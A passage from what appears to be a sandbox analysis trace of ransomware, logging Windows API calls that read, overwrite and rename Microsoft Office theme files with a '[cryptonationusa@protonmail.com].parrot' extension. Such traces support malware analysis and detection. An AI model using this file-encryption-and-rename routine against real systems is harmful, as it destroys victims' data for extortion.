14\\composite.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.456] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.456] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.458] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.458] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1240d, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1240d, lpOverlapped=0x0) returned 1 [0157.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.465] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.472] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.472] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.474] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.474] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0157.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.509] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.509] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0157.512] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.512] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0157.514] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e93dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0157.514] CloseHandle (hObject=0x284) returned 1 [0157.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0157.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x64ad58 [0157.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.571] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.571] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.572] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.573] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x555df, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x555df, lpOverlapped=0x0) returned 1 [0157.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.600] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.908] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.918] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.918] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.919] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.919] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10f61, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x10f61, lpOverlapped=0x0) returned 1 [0157.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.938] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.938] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.938] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.953] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.954] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.955] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.955] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc278, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xc278, lpOverlapped=0x0) returned 1 [0157.956] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.959] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.959] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.959] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.967] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.967] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.968] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.969] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd748, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xd748, lpOverlapped=0x0) returned 1 [0157.970] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.972] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.973] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0157.978] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.978] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0157.979] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.979] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100a8, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100a8, lpOverlapped=0x0) returned 1 [0157.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0157.984] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0157.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0157.985] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.002] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.002] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.004] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.004] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf814, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xf814, lpOverlapped=0x0) returned 1 [0158.005] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.008] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.015] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.015] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.017] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.017] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd2e0, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xd2e0, lpOverlapped=0x0) returned 1 [0158.018] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.021] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.028] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.028] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.029] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.029] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x60041, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x60041, lpOverlapped=0x0) returned 1 [0158.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.099] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.099] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.099] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.110] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.122] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.122] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.125] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.125] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3becb, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x3becb, lpOverlapped=0x0) returned 1 [0158.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.144] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.155] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.161] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.161] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.164] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.164] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x146a7, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x146a7, lpOverlapped=0x0) returned 1 [0158.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.171] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.178] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.178] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.182] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.182] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13af1, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x13af1, lpOverlapped=0x0) returned 1 [0158.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.186] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.193] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.193] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.195] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.195] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1583a, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1583a, lpOverlapped=0x0) returned 1 [0158.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.201] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.207] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.207] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.209] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.209] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x96ac7, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x96ac7, lpOverlapped=0x0) returned 1 [0158.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.232] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program 